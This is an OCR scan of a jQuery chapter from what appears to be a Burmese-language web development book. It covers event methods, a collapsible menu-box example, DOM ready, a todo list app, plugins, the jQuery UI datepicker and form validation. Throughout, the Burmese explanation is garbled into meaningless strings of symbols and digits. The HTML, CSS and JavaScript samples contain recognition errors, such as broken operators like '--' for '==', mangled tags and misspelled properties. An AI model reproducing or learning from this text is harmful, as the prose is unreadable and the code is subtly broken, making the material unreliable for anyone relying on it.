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$ (selector) . focus () - Element o? Focus [$9e$032eqj$ esoo6go9eoc9o? Function 2205905$6 
olo»oSu 


M 


$ (selector) .blur() - Element oo Focus (S965 «pes (86: Focus Lost [ešo2o:o>s28|Š 
csooCgo5 e»c9o? Function 99059038Eolos05 1 


° 


$ (selector) .keydown() - Element qo Focus (896595. Keyboard o» Key 0299909 85080503 
oc e ° ° x` . ° coc e ° o ° ` oc e iN 
399|$ SOIC Qeon o) Function 990390386 0los051 Key N Oa 3209909000] 


$ (selector) .keyup() - keydown () š oocooo[ə C: 39020201511 99026002 Key o? 8508056: (o8 
Co coc c ç ° x` . ç coc € 
YN esooéqobcocoo Function 9903903860los051 


c e e > x OQ * 
$(selector).keypress() - ao (026: fs: (8€ keyup () Š 3əcocoolol 9902602? Key $002 
P ° e C9 9. 0 S X ° T o O x oc e e O x : e e 

rocess (8:e(8203290:c9 ama: eol coo(8 Bodaagj§.go eso»6go9e»c9o? Function 9905905 
¿col mn 222000 0? [ef oessa] woseo, e» Esc 03 Shift 03 Ctrl o9c9 oð, Key 
o OC c 


CORO? $o«qc 9209: ecololoo: II 


$ (selector) .scro11 () - Element go Focus (g9e30$ Scroll Wheel c9ásj(s9(s9 Scroll Bar o»es 
ers ` ` < < O * - < coc € 
[eš[e° Scroll sbopo:o5soə] esoocgo?eocpo? Function 990590S860los051 


` 


$ (selector) .change () - Element à ox$@:c[ooC:cOooo:o>s28|$eo csooC go362c90) Function 
IN coc jl IN S_o | IN 
o»o»9oo&coloooói Form Input Element eoosəooo5op:olooošI 


$ (selector) . submit () - Form o»$99o0lo60? Submit Button o? $6c905023eq|$ es006go3eoc? 


o? Function ooošoo5àColoooSi <form> Element 390305 aj: 0100051 


Professional Web Developer - səəŠ: (9) jQuery 260 





$ (selector) .ready() - ready() Function eo% document Object š o30d:eaogolonAn 

c ° ° cro ° ° c c ° Oo e c ° 
Document 9o olocoogj Element 39:09:07 Load 090(8:0$ 39:0):32006 [9063 (8599 ean geo 
o? Function 2003905860lo05 


Sal: click(), focus () oo? Event Function 60303 020580325:6093200: on () Method Meg 
029806 Cop9: səob: [o los 200 - 


s (Ulu ont on Tejer” function í 
$ ("fnote") .slideToggle ("fast"); 
1097 


e ç coc . . M ç c c ç à . ° 
S:n 640050C: JQuery Version cg olavo §292006(60lo051 click() Function o? 
o co C 2 Sy 0 2 ç ç o. € Q S. N 
NAAV: [Aià on ("click") 08 malo (ac:z: (ec aged 320590909 oocososooocooloi 3l 
6000S JEER: click(), focus(), mouseover () 00? Function 60303 0205803 
səo>:[O|eossəoo: on("click"), on("focus"), on("mouseover") ofeg 3202:09: 3200: O| 
° ° C c ç ceo O O Ç c ` O x c ç O Ç O 

(m8 aos: molan 222e[(02268c9020305$:€22c55902 səc[o2oC: gé: 35620:905026009 ecocooo 
09602 80:99990:909:09 Sesqpoo oop?ec[9»eoooolop: v 326[8825622202200060202 GO0qp$0:copà (8: 
839 B03 asocia 


5.9 - Menu Boxes Example 


ç ç ore oc c o ç x` c ç ç e ç e o € Cc o M 
$99:809:9(8: 0050€00:96000€:09 $9400299600005 eoS(pqi&olooo5u 320632005 NINA Menu 
Boxes eco: 68:09:(02990leo5u 


Services 


= Web Design 


= Logo Design 
= Web Development 





Q (9-c) jQuery Slide Menu 
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9 (9-c) eo[pooo:2»c? aonsahéapeslé:o5038Se0:[86:300:(6¢ Box em:e sagGaa805an58é 
e322 8 09:9o0lu 299990 Document Type Declaration eog! «html» <head> <body> 602 
BM§eq:[Gegoqr oeo: Ravon asoa RÒ |e05{Geo:cleor@05 00005380: 
HTML Document ooëə 03 o20502600936s0003(8: 60:000:02 Structure o? <body> Element 32026: 


209209 00p9296:09090]i 


<div class="box"> 
<h3>Products</h3> 
<ul> 
<li><a href="#">Icon Pack«/a»«/li» 
<li><a href="#">Texture Set«/a»«/li» 
<li><a href="#">Design Template</a></li> 
</ul> 
</div> 








<div class="box"> 
<h3>Services</h3> 
<ul 
<li><a href="#">Web Design</a></1li> 
<li><a href="#">Logo Design</a></1li> 
<li><a href="#">Web Development</a></1li> 
Um 
«/div» 


<div class="box"> 
<h3>Connect</h3> 
<ul> 
<li><a href="#">Facebook</a></1li> 
<li><a etc Twitter 
<li><a href="#">Googlet</a></1li> 
< bull 
clie 


so03c003(8: «style» saggaa8058 CSS Style ordaj,copsogé:60:018 1 


pox 1 
width: 220px; 
border: lpx solid #a22; 
padding: px; 
margin-bottom: 8px; 


) 


OS 
color: EEE, 
background: #c22; 
padding: 8px; 
Ina gum 
cursor: pointer; 
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.box h3.up ( 
color: 4d99; 


-box s" 
color: #900; 


HTML š CSS cooo onda (sé: 9 E:[Geegeorp0lop:n 3900032908: eololog:u OR|$ 600302 k 
(8903 HTML/CSS cogo2osoo>: [O|ooo:ooooli .box h3.up ( .. } &9(8: (09]0266q:220:000:0? 000 
qjo30260022»09(9|olu up Class oo ecooecoosooSoo05 Element 32020992209909e00o:0lon: 00 
coogoQ (6810»66q:22o: 60:000:0000]i! 

sonas: <script src=""> o»: jquery.js File o? $jo3«0036o:olu (8: 664005 «script» 
3096320058 6320050] JavaScript o? 0003256:68:220:60:0]i 


$("h3").click(function() { 


var parent = $(this).parent(); 
$("ul", parent).slideToggle ("fast"); 
$(this).toggleClass ("up"); 


p)? 


eaea eann eNA feon g Aas A loloos ¿esos «n3» Element 


602 390: 0):390305 click () Function 90340360: 000:0l0051 $ (this) $3289lo500 NA Click 
CO c s o Co c 
ÓN MO Element 0? Select coócoo5oooolli 


O x OC : o o5 


var parent = $(this).parent() QY: Click qə 50805 


Select osf: parent Variable cbeocopocoo:cooooooo II 


<h3> š, Parent Element o? 


egoo3oo6c96:Qo $("ul", parent) c9eq:oo(ó: parent adm <ul> o? Select c96coo:oloooóu 

parent 0 Filter s9¢g8 00p260:000:02300209 jQeury o» Document or6905:99 H9] <ul> 60208 

Select ecpósono Click coócoo5o> «n3» à Parent Element (8802 <div> dm <ul> 090 eg:a|oŠ 

c IN ç ° ç >` " ° e QN 

Select coGeo:ooo:eo[eóoloooSi S$: slideToggle() oo <ul> səo:cà:eo ogo:30090ec900 
: CO GG « S c oc x ° IN c c ç 
Click coócoo5oo <h3> & ANACO <ul> 09200 O2052Gçoo5GoGoo9g9o [ešoloooši 


yq II I «script» Element 60303 <body> 32026: Òe; 3leoeo$ o»9[go: Element cop 320:c9:4 


639005 00000: ol səco[eoecoo:o]š <script> Element 50990 jquery.js File o? ajo5soo5coo: 0) Element 


Y ° e ;l ç j| ç e Q iN o ;l 
Oo 3260 MNP (S90 ono Il G$$ 99200299 Goo»: aegis ae II 3160809 Q9/2:020209000220260: 0220 II 


@g 3000203 Code səeo: c[o2oCeooo5o e$ pa: seca: [oososo[eŠcoosoloooŠi 
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ga u ú ¡Query DOM Selector oo Filter S9: 099902 9 (9-0) $° ewo: oS Lfs ea 


(Bodin 


> e ° C e c oq o c IN o? 
coal dquimeasgolán GIMN: NAAC: OO 398006.009560:000:0200II toggleClass ( 
coc x E 


odos soz] Click 900003 «h3» eo up Class oop260:29o:(8: esoošooó[o2Š NN 


E 


up 
Class o? (0§[6,05e0:030:90[gdclor05u $505:4805000:0? Box à Title š géooo:03 Box Title 38, 


° * 


cL? Aaga eooo 


° ° e IN ° coc ;| IN c ere c ° : > IN IN 
3898000 QO eov 320p:0CÀC olodi somscoas (8: App @co:00090) jQuery š oopoesoooo 
[Sq oon sleoeo$ DOM Ready Event à jQuery DOM Object NACI (803905 
eco9cooQc9olo»ou 


5.10 - DOM Ready Event 
e0060202c05(030? $@g099 JavaScript 60303 eaaa peg ol eVsolor an G32009906q: 020 ZEN 
3203660006:0009 8 eaoo03eoes:8e[0030»oo0lu aleou col peq: qos: səcoOcoOgoeooo5oO| 
T ç o c Wisoqr : : Q x Q Ç eo 
97:11 SƏGO| go Gqse0dspge $("h3").click(function() { .. }) apo) Statement 0320700906 
(3):00: 033001 <h3> Element 602320905 onClick Event Function 0360:$690e05030lon: t Browser 
CN o IN e o € c c Ç O 50 
o» Document 9o cloéo3 Element 6090? 2060 0268 632000 390932090 3209909065 00o[89 c9 393 
oc IN IN . ` c oo € IN 
3ag|$qo <h3> Element coo zaq eepe: olo: JavaScript mouco QRA peve <h3> 
0? ecog,o> 390205 0360:$6e2e05030lop: i 
co0$602 90 Code coges peg: Â: s [Šcs:esaqecaəsocəc[ocloq:i Code Base (3:c00(8: Structure 
pcg: 2072329] $532]: 4|:409:000:8 cSaadcoo8écloso5 alejo 900380:906q:68q: aosoGe(o 
elo 32090090600320505 jQuery Code 602320: 09:02 ready() Function 32026:906q:200:25€0l 
IN oria s IN : ° Q e < ç 
om 690690200 coeo[oàc> Menu Boxes 320205 Script cozo? slo (os ego: aĝo 


$ (document) .ready( function() { 
S("h3").click(function() { 
var parent = $(this).parent(); 
$("ul", parent) .slideToggle ("fast"); 
S (this) .toggleClass ("up"); 
)); 


)); 


$ (document) . ready () 0399 eq:220:000:0 Code 0203 jQuery o» Document o299c9:9o0lo60) 
° e ce(o o e e e e: ° 
Element qp:300:09:20c(so(8sdg voasa pol sle jQuery Code ¢o203 Document 
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iN <ç < < < ° < c o ^ 
Ready Event 32026:900009296:6$1:220:25€0lo» 05i Seon Element a205€e[8$622:c9 69]: 000:02 
Code oo sac9dea9d8609:8803 (0222406960229» [eolon 
Soc, O C 


ga uu ready () Function 390209 Select C90686:090500200 CSS Selector eooc5oloq: I document c2 cal 


o? JavaScript Build-in Object o9 so:cooooo[eócloooSi document ooo JavaScript Object (9903320905 CSS 


Selector c2 Quote 3096320030090 egospen eo 
$ (document) . ready () o? 329 c9 cops: 32096000090093:6€: [0201e20: 0205 


$(function() { 
S("h3") solaiek (funerion() 4 
var parent = $(this).parent(); 
$("ul", parent) .slideToggle ("fast"); 
$ (this) .toggleClass ("up"); 
197 
)); 


document Object eoleo»20lop: 1 ready() Function cop9:eoleo»oolop: t jQuery 320200 Nameless 
Function 0299090980960: c9o9(s6: (8$ 0lo»o5u q$e02q023026002 $ (document) . ready () 32026: 
@26q;(86:83902090(gd0lod05 c9:9905:3:0005000% Seql:so5:o2coo5:səob:ep:oloooŠ 09600 
° e IN c IN oo € ° ç 00 £ ° 
OR NN egos $9406099260»2 96:28 los QƏco[cəco $ (document) . ready () 0? 


aeo»:[9esS(9e0:299:eoolu 


5.11 - Creating jQuery DOM Objects 
jQuery à Element cog Select 0950303090000 Element 32029605 0095e800030903.0005:4 010905 
poes - «input» Element 06903 jQuery š orpSes0005(8: «form» Element 00690503 329% 


ç SS, O cae ç 
RRC: CPMIECOlOIOOII 


var textInput = $("<input>", { 





"type": "text", 
"value": "John Doe", 
"name": "user-name", 
"gregis OG pu pi name” 


»; 


$ ("form") .append( textInput ); 


jQuery Object (9003 $ Sign o3 Parameter ¿0360:000:0l00051 0006009900 orpSes00050803 
Element 39q|:3000:(90/8: 6203026900609) 338 Element 9o Seo? Attribute ecgoli Attribute oo 


96:03 JSON 2094 eo:qolo»oóu 29 09qoo»3o? «$59 eooli 
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<input type="text" value="John Doe" name="user-name" id="full-name"> 
Q cy ° »(9o c c c ç < ç 
BooGodsae[95e026(83 App GA: 0099 COANN $g g olos 


5.12 - jQuery Todo List App 

A c e oc ° e > ° 
Programming Language 029932c(0226:6c9000096:90 ocoep:so: Program 32684 ego: (026028 
omo con "Hello, World!" Program [ešoloooši 329 a9|$eoo302ec9cooeo? Todo List App $0 

IN " " Oo ^x ` iN < < ° e ç ore ° ç 
cops: "Hello, World! Solon Language «e, coOoesooca|o5Goooo 899:999:9(0: 6090008320205 $ 
° > ° S ç O IN IN c ° x ° IN ° 
Fee 02 $:0c:09 App 0264}):(G60lo0051 oc»0ospqQoo Task 60203903000:000:(8:1 
COC x 


@3006g03(8:8:030:03 Task cooo [8:8:e(a906:905006:0068E03 App 0r04]:[gd0lo0051 qoh ó 


(9-0) y (mol 


Task List 3 


A super late project 
`) An over due job 

Deadline is today - A design job 
g 
= 


9 (9-0) jQuery Todo List App 


00008386: @g3009:4 09 HTML Structure o? eoS(peo:c3030lo»oóu 
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<div id="wrap"> 
<hl>Task List <span>0</span></h1> 


<ul id="tasks"></ul> 
<ul id="done"></ul> 


<div id="new-task"> 
<input type="text"><button>+</button> 
</div> 
</div> 


HTML Structure ae(00932$ 0260»? 0305038Edeq:090:0l Go:000:03§@g008 <body> 39026399 ea; 


co:oli <style> 9963980339026: 90 69000: 90) CSS o? so03co03eo9(960:c9030lo»o5u 


#wrap ( 
width: 360px; 
margin: 20px auto; 
padding: 20px; 
border: 6px solid #DDD; 
overflow: hidden; 


jo 
margin: 00 20px 07 
padding: 0 0 Spx 0r 
font=size: Bp» 
border-bottom: 1px solid #DDD; 
} 


hl span í 
Tl y etes right, 
display: block; 
background: #9cf; 
tont=size: 12px; 
padding: 2px 6px; 
color: PEER, 

} 


úl | 
list-style: none; 
margin: 0; padding: Q; 
} 


eee las f 
overflow: hidden; 
padding: 4px 0; 

} 


li input, li span { 
feat; left; 
margane tejto op 


J 


Professional Web Developer - səəŠ: (9) jQuery 


299 





li a { 
«lores; 
text-decoration: 
font-weight: bold; 
color: 4900; 
padding: O 9px 
display: none 


} 


li:hover a { 
display: inline; 


) 


#new-task { 
margin-top: 
padding-top: 
border-top: 
overflow: hidden; 


20px; 
10px; 


) 


#new-task input { 
border: 
border-right: 
padding: 2px; 
width: 240px; 
height: 20px; 
foo left; 


0 none; 


} 

#new-task button { 
Width SOPA, 
border: 
background: #eee; 
font-weight: bold; 
color: #666; 
padding: 
float: left, 


done { 
line-height: 18px; 
margin-pottom: dp 











done span { 
text-decoration: 
Tome ias ab eon 
color: #999; 





HTML/CSS egzoso:coo:óoo 


none; 


lpx solid #DDD; 


lpx solid #DDD; 


lpx solid #efefef; 


2px 2px 3px 2px; 


line-through; 


° ° 


3909296:[Gesgeorz0lop:1 06092902050960  ecocoo(02990leo»9i 


IN 


so09c00$(8: «script src-""» 99:8: jquery.js File o? 4jo3«00360:olu 


IN Q cy O . ° IN e 
BIQCSBOOIG 3 JavaScript 0? 0099996:6q:20:60:0]i 


o 


(8:96 65008 «script» 


Professional Web Developer - 3254: (5) jQuery 998 





$ (document) . ready (function () Í 
S("#new-task button") .click(function() { 
var task = $ ("fnew-task input") .val(); 


if(!task) return false; 


buildTask (task) . appendTo ("#tasks") ; 
$("hl span") .html( $("#tasks li") .length ); 


S ("fnew-task input") .val("") .focus () ; 
)); 


$ ("fnew-task input").keydown(function(e) { 
if(e.which -- 13) 
$("4new-task button").click(); 
p)? 
)); 


function buildTask (msg) { 
var checkbox = $("<input>", { 
type: "checkbox" 


)) .click(function() í 
if($(this).is(":checked")) { 
$ (this) .parent () .prependTo ("#done") ; 
} else { 


$ (this) .parent () .appendTo ("#tasks") ; 
) 


$("hl span") .html( $("#tasks li").length ); 
)); 


var task = S$("«span»").html (msg); 


var del = $("<a>", { 
hret: Ww 
)).html("&times;").click(function() 1 
$(this).parent().remove(); 
S ("hl span").html( $("#tasks li") length ); 
a) z 


return $("«li»").append(checkbox).append(task).append (del); 


Code eco qé:(poooo?e(o29996 se:000:03 Document o? Browser ¿gc[6: 32070090005 sacos: 
(0299 c90300B: v Task 32020602 copas ajo! (059 (mol 07d], Task 60303 (8:8: e(p26: 903900: 
03659 Check aseo: App e, 3»c90c90292:009939(0s9€ 6q«:200:000:0? Code 60203 


e IN IN IN 
SOO2COOD eqan golosi 


Document Ready cooo «button» 390205 Click Event 0209 000390960:000:0lo» 09i csooC go3e02 
32090006009 Text Input ð 02§8:03 task Variable cdascopbo6:(8: epog task 
Variable à opš$@:ooo Blank (566640206254,6322609000:0lo»o3i 
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i var task = S$("#new-task input") .val(); 


if(!task) return false; 


eo c M iN ç ` co c c c C x iN c iN `x 
30906000: 03320209 szamos: task 099: səcoo5[eócs q6 Oq|$o23əcoOGoo 3003007060920 
Click Event Meg godo: g edol 


soso: buildTask() Function o? vé: done task Variable o? Parameter 32684 
ç e ° Ç ç x . x` ÇO ` ° cos 

cop) 226:60:08a5clos05i buildTask () Function 0260:002020080:43202 ao[g0:c930002 Element 

60303 <li> 3996 320030590! c0l6:cop$eo:eo[s$0lo»o5i buildTask() Function oo (0$60:c000? 











«li» Element o? appendTo() Function 0):[6: tasks once: dolo slefox2¢ Input 
e 


Text Box eo Task 0209 copo: tasks odo «li» Element 009 o?:cooeo(s$olo»ou 

















< c < ^ o ^ . ° 0 ; > cere > gx 
e&oooooósoCQo tasks COG $6809 «li» c09320:09:0? jQuery & Select osf: NINA, 
9960l6:326€3202090? JavaScript Property ($03 .length à coma molan cocoa 
coo 0302§8:03 «hl» dm <span> Element 4 Content sakse s: Rolos $505:& 
csooCgo5geo2 Task 9905 aóə ¿Van ceras: [8660265 qe» 9»9(8$0lo»o5 
aleoz300:0):[8:60024 Text Input c302c205$$030002000:0 DIT o? val("") à qé:(o9cpo3ol 
ou focus () Function meon 33$ Text Input 9o Cursor zafe eseo səoà: [o| coo: oooolit 

° c c o IN IN IN u Qu. IN e c e Oo c 

alo saab: [eo esoo Task o09909s009coo?$o0p?996:c9€6 moto cop gl 


IN 
ODO II 


Text Input gap: Keydown Event 209 020390960:000:0lo» 09i Button o? ooo: Š: Click 09065 
ospecio Text Input ceo Enter 850805058 Button NRODD 32090090290:6009 02320205 
(8901 ozvou Keydown 320203 2205905000:0? Function go e c9 3269360:000:02 Event Object oloé 
closes Event à 005000503 sag zwoeg 338 Object peşi e.which == 13 00 
səƏgloÉool! 3905;(0|99 qo300p9c90302 Key oo Keycode 13 coo: epos cresce Keycode o» 13 p: 
Qê Enter Key [ešoloooŠi Backspace 28.6 Keycode 8 (s9(5: Esc QS Keycode 27 [ešoloooSi Š 3 
$99: soap Task 390006070 Button RgO: aoo: [8600994 62008 Text Box odgo Enter 


oco Ç 


&óc9o9[s6:aoo: (860005: cop$&6ogo:eogo[s o 0lo»o5i 
gay u 1 903222:2560? Key Code 0003], es?[960: c9o30loooóu 


Backspace = 8, Tab = 9, Enter = 13, Shift = 16, Ctrl = 17, Alt = 18, Caps Lock = 20, Esc = 27 , Space = 32, 
Fl = 112... F12 = 123 


oe 0048: 360200 Keypress, Keyup š š Keydown Event 0009 e:p 32409: ¿COS Soo: :Q Solo»oóu so (00920 
o? http: //unixpapa.com/js/key.html oo ccocoo[o2o5q a olos 
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buildTask() Function 0590 es:000:000:09 Code cogon coo?ecocoo[p90leou ocoeso: Block 
megomo 


| var checkbox = $("<input>", { 
type: "checkbox" 
l. )) a "ego e { 
(this).is(":checked")) 1 
| * ee pan i A 
} else { 
B (this).parent().appendTo("ftasks"); 


("hl span").html( $("#tasks li").length ); 


Check Box 029909 jQuery &o»p9esooo09(9: checkbox Variable c5 090095256:000:0lo»03I oops 
e000) c9090? Checkbox ooo Element 99059905007036 Click Event o»$8lo»93:026030lo60lo»oóu 
Click Event o» Checkbox o? Click RÓS Check ÓN: Uncheck NóN ON: 
20% is() Function 0): [8:00630:000:0l000n Check coóc903000 Les Check Box à, Parent 
Element o? #done coo? ege(9o6:60:c9030loooà! Uncheck coóc9o9000 Waeco #tasks 0308 
(046g 60: 040300011 


H var task = $("«span»").html (msg); 


sonas: <span> Element 029900996s00090loo03 1 Function Sa msg Variable o? 
coc 


Element Content 3268009360: 000:0lo2 0 I Task 60303 (0$ $qjo9c9qé qjo386 6320€ Delete Link eco: 
0209 $003050300996800050lo»03 I 


href: "#" 
)).html("&times;").click(function() { 
I S (this) .parent () . remove (); 
I S("hl span").html( S("#tasks li").length ); 


| var del = $("<a>", { 


)); 


jQuery ¿9 <a> Element 06902p5es00050lo2051 Element Content 32654 &times; Symbol o9 co: 
coo:olooo3! &times; Symbol o»osac[g2052560500 ( x ) dolos Cross Gco:s0Gooo Delete Sign 
307930:80011 Click Event 0299c0p9:0360960:000:(8: Click &6c9090335el A, Parent Element o? 
005 qjo$c9058 220590500o:0lo»ou 
| return $("<li>") .append (checkbox) .append (task) .append (del); 

C e e e sos ° a C e xn O € 
G420280:906022 0»096s0005000:902 Element copo? «1i» Element 00038, Content sa[go 32020905 

e e ° c ` e jl e j| c e : o T oc [e] Sox ` 

0099996:60:09099o0(860 ono 3 e(o206 3 Function apes! opopc: o»3500? Element § Event coo 
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03003 oloc[6:[eŠo> «1i» Element 026903 (94 «»(s90lo»o5v 

8 Todo List App eco:ooo eo5:coŠo> App COD: SGOOL jQuery à coÓesoocajo5 296005 qp:qp:o? 
IN 2 c IN c c IN co X X c c ç Oo 

vaso [o (5$ 69 eo? App o»99(890lo»o5u como Browser cógoó səcoOcoOogo:ooo[eóco 

0093036:08.0303 39g|0939.000360303 39(§086:9095:000:60: 9000705019931 Browser o? Refresh 096 

o < Ç ors IN < < ° oc S. o € E o < 

mes səmë[oš eqnas030:900I 328[0332c00360209 Der: 00m: Cookie Reoyo HTML5 

localStorage § 2920999602 a:o sleoeo$ $329$:90 Sc 99000: Rolos User 

oc So ° co > IN e oc IN e e.g. 8 ç : : 
Interface QC: Lses Aen 199890 səa|o593əcoo5o99:soo5: i asc: 3294: (@) Ajax with 
jQuery epa o soo$coo3(sp$ go5oleosoeoŠi 


5.13 - JQuery Plugins 
: ` c e IN o IN e OC x : ° IN : : 
jQuery $0?96s0»6q8[026020? (80990960:$60? Plugins 603§oleo0:000511 Plugins cozo eco jQuery 
go eolo6o3c906s006qj056020?(8p9s0p9:60:0lo»o31 al odf: Framework eogà eopodseqja50l6u 
- oc oc ° c e IN O^ c ç O ` IN IN IN > IN 
jQuery NSR a2e(88 c9 6esoo6qio9605 090 Q9060:c0609 03:9){895905q09050203390205 afv: 
IN IN c e IN o : c IN coc IN ceo IN 
Developer qp:oo(so3905 o90esoocqjo?eopo? Plugin ao ($$ 0205680003 $6 290:0lo»o3 t 0298| copo: 
: c Ç QO CÇ Ç IN IN C OC o : c IN IN IN 
jQuery eo oo9c0lé:c903€660006:e0300602 DDR: eog Plugins ga[g60205ea0003000:(09.0005 v 
Odd], coo: AGAR, Project GO290C9320C Plugins concolor 338 Developer cop 
0» 2903 orp5es0005000:03 Plugin cogo? sagp:05:86 esooc(o$copoeoq|[n202320205 megap 
GOODE GOIE: g: 26009 jQuery Plugins cooo Adm 8093229: (o|$6e»(890lo»o5u 900309090 


cesoocajo5 TENET] 3209$ 9 eeano ëcoCcooloooŠii 


jQuery o? o?:q|[06so6 qooocgo5o0looo5i poeo - Function 006908 mac (8999 09c909&60lo»o5u 


$.fn.muliplyBy = function(n) í 
this.each(function() { 
var content = S$(this).html(); 
or (m= aka pi Al 
$ (this) .append (content); 
j 
} 
he 





jQuery eo gamed) multiplyBy () Function o? o2§602503 sago ool 333 Function o» 
Select coÓcoo:o Element 39036300 Content 02«002:90:60:9o(s90lo»ou $("ul").multiplyBy (5) 
ca Ger o2o:c9o3qó <u1> Element e, Content o? (9)8090:60:992:90 (gsolos05u jQuery à, Selector à 
3030: [9 8602209 22o9(9|[o2p9olu 
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o Sox e e e ere : š : : ` . 
aso asean geo ra: plugins.jquery.com, unheap.com, jquerylist.com oo) Website 
IN : ° o IN : : os . c c 
co copo: Plugin eo20? qorécolo ón plugins.jquery.com meo% Official Directory (ssolna 1 


x — oO jqueryui| Search Results | jQuery Plugin Registry - Mozilla Firefox 


© jquery ui | Search Re... 


€ | à https://plugins.jquery.com/?s= 


jQuery 


write less, do more. 


% Popular Tags Search Results for: jquery ui 


ui (542) 

Ruery (482) jQuery File Upload - jQuery UI version 
form (285) File Upload widget with multiple file selection, drag&drop support, progress 
bars and preview images for jQuery. Supports cross-domain, chunked and 
resumable file uploads and client-side image resizing. Works with any 
input (252) server-side platform (PHP, Python, Ruby on Rails, Java, Node js, Go etc.) 
that supports standard HTML form file uploads. 


animation (273) 


image (210) 

responsive ( 184) 
slider (172) jQuery UI Position 
wx (454) Positions elements relative to other elements 


scroll (140) 





9 (9-20) plugins.jquery.com 


. co ° ° O ` ç ç . c o ç c ° ° e 
Plugin 0298|L soos: (ooo? 89403269 &eoS[peo:oleohu Plugin 020909 c095026:39053{0] 8390205 
səc[eësoo: [sç Document c3eo jQuery File Joos aap Plugin File 0303 «script» Element eo 
à4jo9so03c903q6 90563299: [ogo 0004], Plugin 60299 2900669:000:000:07 CSS File copoloé 

ç O . ° ç . s 0 € e c ç e A ° 
02020) CSS File Nagp: <1ink> Element à qjo5s00360:q99 [ešoloooŠi UNE, 32O0:8|O ago: 
ogo:oo[eócoeoo $j032003000$256:006009 390:09:3909090161 


eo5a|o5 "n Plugin 6034, vaso: 1908 Ocooceo[ocoeqolog:t Plugin 0$03:0260200 eş Developer 
eoo(s$[o3c9 02$602009800660»209 e«:220:0$09:c06:602 vog ol: RSs: eg:qjo500o:0? Plugin à 
3202 olo6o»»o? Documentation eoo Manual e0200686c9 0oX8: a22: [0/(m9gool $05 629260) $090 396830 
eoho eo:2go: eoolu 


ocoes9:(020925$0200»600? jQuery UI [ešoloooŠi jQuery UI um jQuery Core Team oo 

[e] e e ` e e e ` : e e e e e e 
20390 (0/6: oumesomcgneso Project ooëə[eëoloooŠi User Interface qp:popS:co0:[ac:[90 
(8: Accordion, Autocomplete, Button, Datepicker, Dialog, Menu, Progressbar, Slider, Spinner, 
Tabs, Tooltip oo? Widget ecg0lo&olo»o5u Drag-n-drop, Resizable à sə[so:coóesooCajoo 6020095: 
olocoloooSi Animation Effect 6020095: oloéoleo»:0»o5u 
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: ° : : Ce oc e e e coco e 
jQuery UI o° jqueryui.com go Download osf: qeggsolovoSn $Q§00209 0020008643020) 
oc Oo 


jQuery UI o? Download asf: $$c0o02 Archive 8609 Extract ôo: dı (0:86 HTML Document 
02990099 eso009(8: <body> 32096:90 eao2030la2 026: e«:2»:oli 


<input type="text" id="date"> 
° e e y ° ç e 
(8:96 gesn «script» Element 99:9 copgage: GO:O]II 


«script src="jquery.js"></script> 
«script src-"jquery-ui.js"»«/script» 
<OL> 
$ (document) . ready (function() Í 
S("#date") .datepicker () ; 
p); 
</script> 


jQuery UI oo jQuery Plugin [900% jquery.js eolq6 samsas: alejo 
jquery.js esp Downlod 6102000303 jquery-ui.js ol &9905:02 9$00$63206 0099996:60:Q 
c932090 (Se olooo3u (8:960? Document Ready o5go #date o? Select 0/6: datepicker () 
Function š 25:60:c9030loooà! datepicker () Function ooo jQuery UI oo (8p990960:002:0) 
Function ooóə[eëoloooŠi ges #date Element o? Click coócoo5qé ó (9-2) eo Loa eg:c2q 
o> [Lgs fea: ondean [ešoloooSi GagQd§oreg q05802$902000$6c909q6 ¿NO 
#date Element à, Value sa[66 ec3(060:9o9(s9 oloooSi 8sə5:š Date eg:c3qo3 Datepicker 06903 
zasos ogg lons 





| 
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March 2013 

Su Mo Tu We Th Fr Sa 
12 

34 56 7 89 

10 11 1213 14 1516 

17 18 19 20 21 2223 

24 25 26 27 28 2930 

31 


© (9-@) jQuery UI Datepicker Example 
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CSS Style 60260leo0:c9 (0299q022e259eq9(s$e50lo»ou 338390205 CSS NaS: PuSo eges 
oso» ecsclog:i Download aoo ordslorad:vloécos03 CSS 8¿o0səo5:[o|8ColoooSi <head> 
32026:90 səəcocoo[eoscooool! 


<link rel="stylesheet" href="jquery-ui.css"> 





Sc94jo$«o03c903 q66002qc03 00 © (@-q|) $o (9000:000Fe(9oé:039:00l CSS Style 6c0:6020logo:eo 
òg aq: [$ 8q: 06n 








9 March 2013 o 


Su Mo Tu We Th Fr Sa 


101 111 12 13| 14, 15| 16 
BD) 18/19. 201. 211221 23 
24|—25|..26/.—27|.-28/|-29| 30 
31 


© (9-q]) ¡Query UI Datepicker Example with Style 


soos aose aion jQuery Validate Plugin [eëcloooSiu Form Input eozgo sa: es 
ç e IN ç x IN CLAN Cu co qc OC x ss Sol € 
e$ DSN EVA: [spdozc:09 Format cogo: eo»(5699$c0:$60? Pligin [ešoloooSi 2» 
C. c ° C x : c o S OS o Ç. f . 
CoQ9:Ó 326002600:3999:0C02 Plugin 053011 Noe Download quq jqueryvalidation.org eo 
sqo»&6olo»o3i og: HTML Document o»$9oop3esooo3(8: <body> 32963580509 yo 8 
HTML Form o? 09:09009325660:0]i 
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<form id="comment" action=""> 
<p> 
<label for="cname">Name (required, at least 2 characters) </label> 
<input id="cname" type="text" name="name"> 
<p> 
<label for="cemail">E-Mail (required) </label> 
<input id="cemail" type="text" name="email" /> 
</p> 
<p> 
<label for="curl">URL (optional) </label> 
<input id="curl" type="text" name-"url" /> 
</p> 
<p> 
<label for="ccomment">Your comment (required) </label> 
<textarea id="ccomment" name="comment"></textarea> 
</p> 
<p> 
<input class="submit" type="submit" value="Submit"/> 
</p> 
</form> 

















Download qopooo:o? Archive 8609 Extract ôf: jquery.validate.js 8038608 320): (099 

e ç ° n % O C IN e e e ° e ° 
[ešoloooŠii plô: <script> Element šajo5soo> c0p3036:60:401e05 i (8:96 comment Form o? 
Select osf: validate () Function š Validation Rule 60303 990590S860los051 


<script src="jquery.js"></script> 
<script src="jquery.validate.js"></script> 
<script> 

$ (document) . ready (function (){ 


$ ("#comment") .validate (( 
rules: { 
name: { 
"required": true, 
"minlength": 2 
), 


email: í 
"required": true, 
"email": true 

hy 

comment: { 


"required": true 


DE 


)); 
«/script» 


S ° 


Validation Rules 0205 JSON 32694 eo:qoloo»o5u Input Box cozs, name Attribute à macs: 
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Rules cooo magna: [ešoloooši Submit Button NRAN o5o5əc5a|o5 rules co2š @ 


O Ç @ C A : ec oc yo ere IN 
RNA validate () Function o» wep Element &o26093(8: Error Message coo eoS(peo: 
eo[eŠoloooSi 250$90$c90? Rules coga edeo) Message eo202c5220390$&60lo»oÀi aleo 

IN X IN IN > e : : Os 
eN &Qšo9oçooo Rules 6020 o5o5@ojooo:osəooo5 Validate Plugin o» Default Message eo2076 


cooefssolora 

Name (required, at least 2 characters) 

This field is required. 

E-Mail (required) 

